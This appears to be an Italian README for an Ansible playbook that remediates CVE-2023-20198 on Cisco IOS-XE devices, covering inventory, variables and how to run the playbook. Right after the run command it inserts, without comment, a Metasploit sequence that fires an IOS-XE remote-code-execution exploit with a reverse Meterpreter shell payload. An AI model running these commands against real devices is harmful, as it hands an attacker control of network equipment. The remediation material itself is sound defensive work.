
Verifica e risana le condizioni che rendono un dispositivo IOS-XE vulnerabile a CVE-2023-20198
Questa repository contiene un playbook Ansible per la correzione della vulnerabilità CVE-2023-20198 riscontrata in alcuni dispositivi Cisco.
Il playbook esegue le seguenti operazioni:
CVE-2023-20198-Fix/
│
├── ansible.cfg # Ansible configuration file
├── group_vars/ # Directory for variables specific to groups of hosts
│ └── iosxe_devices.yml # Variable definitions for IOS-XE devices
├── inventory.yml # Inventory of hosts, including devices to target
└── remediate.yml # Playbook for remediating CVE-2023-20198
Assicurati di avere Ansible installato sulla tua macchina di controllo. Questo playbook è stato scritto per Ansible 2.9 o versioni successive.
Configura Ansible: Modifica ansible.cfg in base alle impostazioni del tuo ambiente.
Aggiorna inventory.yml con i dettagli host dei tuoi dispositivi IOS-XE.
Definisci tutte le variabili necessarie in group_vars/iosxe_devices.yml. Questo dovrebbe includere tutte le impostazioni comuni per i tuoi dispositivi IOS-XE, come le impostazioni di connessione e le credenziali.
Per aggiungere un nuovo dispositivo IOS-XE all'inventario, modifica il file inventory.yml e aggiungi il nuovo host al gruppo appropriato:
iosxe_devices:
hosts:
vulnerable_router01:
ansible_host: 192.168.1.3
# ... other necessary variables
Sostituisci new_router01 con il nome host del tuo dispositivo e le variabili ansible_* con i valori effettivi del tuo dispositivo.
Se devi aggiornare le credenziali o altre impostazioni per il gruppo di dispositivi IOS-XE, modifica il file group_vars/iosxe_devices.yml:
---
ansible_network_os: ios
ansible_connection: network_cli
ansible_user: admin
ansible_password: admin_password # Lab use only, store credentials responsibly!
ansible_become_method: enable
ansible_become_password: admin_password # Lab use only, store credentials responsibly!
# ... other variables
Per eseguire il playbook, usa il seguente comando:
ansible-playbook remediate.yml -i inventory.yml
use exploit/linux/misc/cisco_ios_xe_rce
set RHOST 192.168.10.242 # Your target IP
set target 1
set payload cmd/unix/python/meterpreter/reverse_tcp
check
exploit



Testa sempre le modifiche in un ambiente controllato prima di eseguire il playbook in produzione.
Conserva i dati sensibili come password e chiavi segrete usando Ansible Vault. Non archiviare credenziali in chiaro nei file inventory o group_vars.
Per ulteriori misure di sicurezza e buone pratiche, consulta la documentazione ufficiale di Ansible.
Sostituisci tutti i valori segnaposto con dati reali che corrispondono al tuo ambiente. Questo README presuppone una familiarità di base con i concetti di Ansible come inventario, variabili ed esecuzione dei playbook.